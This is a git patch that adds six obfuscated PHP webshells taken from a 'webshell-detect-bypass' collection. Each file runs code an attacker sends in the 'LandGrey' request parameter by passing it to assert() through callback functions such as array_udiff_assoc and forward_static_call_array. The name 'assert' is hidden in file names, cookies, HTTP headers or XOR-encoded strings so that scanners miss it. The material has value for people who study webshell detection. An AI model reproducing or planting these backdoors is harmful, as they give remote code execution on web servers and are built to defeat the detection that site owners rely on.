From 32be5d26bf05b518107af8fcb36544c916de5e36 Mon Sep 17 00:00:00 2001
From: Levi Li <admin@hackfun.org>
Date: Thu, 20 Dec 2018 11:34:55 +0800
Subject: [PATCH] Add files via upload

From:https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/php
Author:Build by LandGrey
---
 ...ray_intersect_uassoc-filename-last-char-must-be-r.php | 7 +++++++
 php/array_intersect_uassoc-headers-accept-r.php          | 7 +++++++
 php/array_intersect_ukey-cookie-ass.php                  | 9 +++++++++
 php/array_intersect_ukey.php                             | 9 +++++++++
 php/array_udiff_assoc.php                                | 8 ++++++++
 php/forward_static_call_array-referer-ass.php            | 9 +++++++++
 6 files changed, 49 insertions(+)
 create mode 100644 php/array_intersect_uassoc-filename-last-char-must-be-r.php
 create mode 100644 php/array_intersect_uassoc-headers-accept-r.php
 create mode 100644 php/array_intersect_ukey-cookie-ass.php
 create mode 100644 php/array_intersect_ukey.php
 create mode 100644 php/array_udiff_assoc.php
 create mode 100644 php/forward_static_call_array-referer-ass.php

diff --git a/php/array_intersect_uassoc-filename-last-char-must-be-r.php b/php/array_intersect_uassoc-filename-last-char-must-be-r.php
new file mode 100644
index 0000000..105091a
--- /dev/null
+++ b/php/array_intersect_uassoc-filename-last-char-must-be-r.php
@@ -0,0 +1,7 @@
+<?php
+$password = "LandGrey";
+$key = substr(__FILE__,-5,-4);
+${"LandGrey"} =  $key."Land!";
+$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
+array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
+?>
diff --git a/php/array_intersect_uassoc-headers-accept-r.php b/php/array_intersect_uassoc-headers-accept-r.php
new file mode 100644
index 0000000..16eaa84
--- /dev/null
+++ b/php/array_intersect_uassoc-headers-accept-r.php
@@ -0,0 +1,7 @@
+<?php
+$password = "LandGrey";
+$key = substr(__FILE__,-5,-4);
+${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
+$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
+array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
+?>
diff --git a/php/array_intersect_ukey-cookie-ass.php b/php/array_intersect_ukey-cookie-ass.php
new file mode 100644
index 0000000..bdeccb6
--- /dev/null
+++ b/php/array_intersect_ukey-cookie-ass.php
@@ -0,0 +1,9 @@
+<?php
+/**
+ *  Noticed: (PHP 5 >= 5.4.0, PHP 7)
+ *
+ */
+$password = "LandGrey";
+$ch = $_COOKIE["set-domain-name"];
+array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
+?>
diff --git a/php/array_intersect_ukey.php b/php/array_intersect_ukey.php
new file mode 100644
index 0000000..552636f
--- /dev/null
+++ b/php/array_intersect_ukey.php
@@ -0,0 +1,9 @@
+<?php
+/**
+ * Noticed: (PHP 5 >= 5.4.0, PHP 7)
+ *
+ */
+$password = "LandGrey";
+$ch = explode(".","hello.ass.world.er.t");
+array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
+?>
diff --git a/php/array_udiff_assoc.php b/php/array_udiff_assoc.php
new file mode 100644
index 0000000..76c9c77
--- /dev/null
+++ b/php/array_udiff_assoc.php
@@ -0,0 +1,8 @@
+<?php
+/**
+* Noticed: (PHP 5 >= 5.4.0, PHP 7)
+*
+*/
+$password = "LandGrey";
+array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
+?>
diff --git a/php/forward_static_call_array-referer-ass.php b/php/forward_static_call_array-referer-ass.php
new file mode 100644
index 0000000..22faf02
--- /dev/null
+++ b/php/forward_static_call_array-referer-ass.php
@@ -0,0 +1,9 @@
+<?php
+/**
+ * Noticed: (PHP 5 >= 5.3.0, PHP 7)
+ *
+ */
+$password = "LandGrey";
+$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
+forward_static_call_array($wx."ert", array($_REQUEST[$password]));
+?>